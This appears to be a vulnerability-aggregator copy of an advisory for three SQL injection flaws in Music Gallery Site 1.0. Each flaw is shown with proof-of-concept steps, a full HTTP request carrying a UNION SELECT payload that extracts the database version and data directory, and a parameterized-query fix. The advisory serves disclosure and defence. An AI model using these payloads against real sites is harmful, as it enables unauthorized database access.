Lucene search
K

Music Gallery Site 1.0 SQL Injection

🗓️ 24 Feb 2023 00:00:00Reported by Navaid AnsariType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 416 Views

Music Gallery Site 1.0 SQL Injection on music_list.php and view_music_details.php. Vulnerable parameter: cid, id. SQL Injection allows unauthorized database access, data modification, and system control. Attack date: 21 February 202

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Music Gallery Site 1.0 SQL Injection Vulnerability
27 Feb 202300:00
zdt
0day.today
Music Gallery Site v1.0 - SQL Injection Vulnerability
6 Apr 202300:00
zdt
0day.today
Music Gallery Site v1.0 - SQL Injection Vulnerability (2)
6 Apr 202300:00
zdt
0day.today
Music Gallery Site v1.0 - SQL Injection Vulnerability (3)
6 Apr 202300:00
zdt
Circl
CVE-2023-0938
21 Feb 202312:16
circl
Circl
CVE-2023-0961
23 Feb 202300:52
circl
Circl
CVE-2023-0962
23 Feb 202300:52
circl
CNNVD
Music Gallery Site SQL注入漏洞
21 Feb 202300:00
cnnvd
CNNVD
Music Gallery Site SQL注入漏洞
22 Feb 202300:00
cnnvd
CNNVD
Music Gallery Site SQL注入漏洞
22 Feb 202300:00
cnnvd
Rows per page
`# Music Gallery Site - SQL Injection on page music_list.php and parameter cid is vulnerable, application url is (?page=music_list&cid=?).   
>Any remote attacker can access this page to exploit the vulnerbility.  
  
### Date:   
> 21 February 2023  
  
### CVE Assigned:  
**[CVE-2023-0938](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0938)** [mitre.org](https://www.cve.org/CVERecord?id=CVE-2023-0938) [nvd.nist.org](https://nvd.nist.gov/vuln/detail/CVE-2023-0938)  
  
### Author Name:   
> Muhammad Navaid Zafar Ansari  
### Author Email:   
> [email protected]  
### Vendor Homepage:  
> https://www.sourcecodester.com  
### Software Link:  
> [Music Gallery Site](https://www.sourcecodester.com/php/16073/music-gallery-site-using-php-and-mysql-database-free-source-code.html)  
### Version:  
> v 1.0  
### SQL Injection  
> SQL Injection is a type of vulnerability in web applications that allows an attacker to execute unauthorized SQL queries on the database by exploiting the application's failure to properly validate user input. The attacker can use this vulnerability to bypass the security measures put in place by the application, allowing them to access or modify sensitive data, or even take control of the entire system. SQL Injection attacks can have severe consequences, including data loss, financial loss, reputational damage, and legal liability. To prevent SQL Injection attacks, developers should properly sanitize and validate all user input, and implement strong security measures, such as input validation, output encoding, parameterized queries, and access controls. Users should also be aware of the risks of SQL Injection attacks and take appropriate measures to protect their data.  
### Affected Page:  
> music_list.php  
> On this page cid parameter is vulnerable to SQL Injection Attack  
> URL of the vulnerable parameter is: /?page=music_list&cid=*  
### Description:  
> The Music Gallery site does have public pages for music library, on music list there is an SQL injection to filter out the music list with category basis.  
### Proof of Concept:  
> Following steps are involved:  
1. Go to the category menu and click on view category.  
2. In URL, there is a parameter 'cid' which is vulnerable to SQL injection (?page=music_list&cid=4*)  
### Request:  
```  
GET /php-music/?page=music_list&cid=5%27+and+false+union+select+1,version(),database(),4,5,6,7--+- HTTP/1.1  
Host: localhost  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: none  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
```  
### Response:  
  
![image](https://user-images.githubusercontent.com/123810418/220299762-3a0c02cf-364b-49a0-81e5-e7f3f6ed298b.png)  
  
### Recommendation:  
> Whoever uses this CMS, should update the code of the application in to parameterized queries to avoid SQL Injection attack:  
```  
Example Code:   
$sql = $obj_admin->db->prepare("SELECT * FROM `category_list` where `id` = :id and `delete_flag` = 0 and `status` = 1");  
$sql->bindparam(':id', $cid);  
$sql->execute();  
$row = $sql->fetch(PDO::FETCH_ASSOC);  
```  
Thank you for reading  
  
  
  
---------------------------------------------------------------------------------------------  
  
# Music Gallery Site - SQL Injection on page view_music_details.php and parameter id is vulnerable.   
>Any remote attacker can access this page to exploit the vulnerbility.  
### Date:   
> 21 February 2023  
  
### CVE Assigned:  
**[CVE-2023-0961](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0961)** [mitre.org](https://www.cve.org/CVERecord?id=CVE-2023-0961) [nvd.nist.org](https://nvd.nist.gov/vuln/detail/CVE-2023-0961)  
  
### Author Name:   
> Muhammad Navaid Zafar Ansari  
### Author Email:   
> [email protected]  
### Vendor Homepage:  
> https://www.sourcecodester.com  
### Software Link:  
> [Music Gallery Site](https://www.sourcecodester.com/php/16073/music-gallery-site-using-php-and-mysql-database-free-source-code.html)  
### Version:  
> v 1.0  
### SQL Injection  
> SQL Injection is a type of vulnerability in web applications that allows an attacker to execute unauthorized SQL queries on the database by exploiting the application's failure to properly validate user input. The attacker can use this vulnerability to bypass the security measures put in place by the application, allowing them to access or modify sensitive data, or even take control of the entire system. SQL Injection attacks can have severe consequences, including data loss, financial loss, reputational damage, and legal liability. To prevent SQL Injection attacks, developers should properly sanitize and validate all user input, and implement strong security measures, such as input validation, output encoding, parameterized queries, and access controls. Users should also be aware of the risks of SQL Injection attacks and take appropriate measures to protect their data.  
  
# Vulnerable URL:  
> URL: php-music/view_music_details.php?id=*  
  
### Affected Page:  
> view_music_details.php  
> On this page cid parameter is vulnerable to SQL Injection Attack  
> URL of the vulnerable parameter is: php-music/view_music_details.php?id=*  
### Description:  
> The Music Gallery site does have public pages for music library. Whenever someone click on info button any music the popup will appear on the same page. However, on backend server calls the file view_music_detail.php where Get id parameter is vulnerable to SQL Injection.  
### Proof of Concept:  
> Following steps are involved:  
1. Go to the music list and click on view info of any music.  
2. intercept the traffic through burp and get the actual URL  
3. In URL, there is a parameter 'id' which is vulnerable to SQL injection (view_music_details.php?id=1*)  
### Request:  
```  
GET /php-music/view_music_details.php?id=1%27+and+false+union+select+1,version(),database(),4,@@datadir,6,7,8,9,10,11--+- HTTP/1.1  
Host: localhost  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: none  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=a5fd11866a86264db3a68bb1817b2c7f  
Connection: close  
```  
### Response:  
![image](https://user-images.githubusercontent.com/123810418/220317330-519b0112-85fd-4c6f-bf35-446216d73549.png)  
  
### Recommendation:  
> Whoever uses this CMS, should update the code of the application in to parameterized queries to avoid SQL Injection attack:  
```  
Example Code:   
$sql = $obj_admin->db->prepare("SELECT * from `music_list` where id = :id and delete_flag = 0");  
$sql->bindparam(':id', $id);  
$sql->execute();  
$row = $sql->fetch(PDO::FETCH_ASSOC);  
```  
Thank you for reading  
  
  
---------------------------------------------------------------------------------------------  
  
# Music Gallery Site - SQL Injection on page Master.php and parameter id is vulnerable.   
> Any remote attacker can access this page to exploit the vulnerbility.  
### Date:   
> 21 February 2023  
  
### CVE Assigned:  
**[CVE-2023-0962](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0962)** [mitre.org](https://www.cve.org/CVERecord?id=CVE-2023-0962) [nvd.nist.org](https://nvd.nist.gov/vuln/detail/CVE-2023-0962)  
  
  
### Author Name:   
> Muhammad Navaid Zafar Ansari  
### Author Email:   
> [email protected]  
### Vendor Homepage:  
> https://www.sourcecodester.com  
### Software Link:  
> [Music Gallery Site](https://www.sourcecodester.com/php/16073/music-gallery-site-using-php-and-mysql-database-free-source-code.html)  
### Version:  
> v 1.0  
### SQL Injection  
> SQL Injection is a type of vulnerability in web applications that allows an attacker to execute unauthorized SQL queries on the database by exploiting the application's failure to properly validate user input. The attacker can use this vulnerability to bypass the security measures put in place by the application, allowing them to access or modify sensitive data, or even take control of the entire system. SQL Injection attacks can have severe consequences, including data loss, financial loss, reputational damage, and legal liability. To prevent SQL Injection attacks, developers should properly sanitize and validate all user input, and implement strong security measures, such as input validation, output encoding, parameterized queries, and access controls. Users should also be aware of the risks of SQL Injection attacks and take appropriate measures to protect their data.  
# Vulnerable URL:  
> URL: php-music/classes/Master.php?f=get_music_details&id=*  
### Affected Page:  
> Master.php  
> On this page, there is "get_music_details" in that id parameter is vulnerable to SQL Injection Attack  
> URL of the vulnerable parameter is: php-music/classes/Master.php?f=get_music_details&id=*  
### Description:  
> The Music Gallery site does have public pages for music library. Whenever someone click on play button any music the popup will appear on the same page. However, on backend server calls the file Master.php, in that file "get_music_details" is running the music and this function Get id parameter is vulnerable to SQL Injection.  
### Proof of Concept:  
> Following steps are involved:  
1. Go to the music list and click on play button of any music.  
2. intercept the traffic through burp and get the actual URL  
3. In URL, there is a parameter 'id' which is vulnerable to SQL injection (Master.php?f=get_music_details&id=1*)  
### Request:  
```  
GET /php-music/classes/Master.php?f=get_music_details&id=1%27+and+false+union+select+1,version(),@@datadir,4,5,6,7,8,9,10,11--+- HTTP/1.1  
Host: localhost  
Cache-Control: max-age=0  
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Linux"  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: none  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=a5fd11866a86264db3a68bb1817b2c7f  
Connection: close  
  
```  
### Response:  
![image](https://user-images.githubusercontent.com/123810418/220339548-20e31f82-cab4-4732-8cf7-8a146c2c1d5b.png)  
  
### Recommendation:  
> Whoever uses this CMS, should update the code of the application in to parameterized queries to avoid SQL Injection attack:  
```  
Example Code:   
$sql = $obj_admin->db->prepare("SELECT * FROM `music_list` where `id` = :id");  
$sql->bindparam(':id', $id);  
$sql->execute();  
$row = $sql->fetch(PDO::FETCH_ASSOC);  
```  
Thank you for reading  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation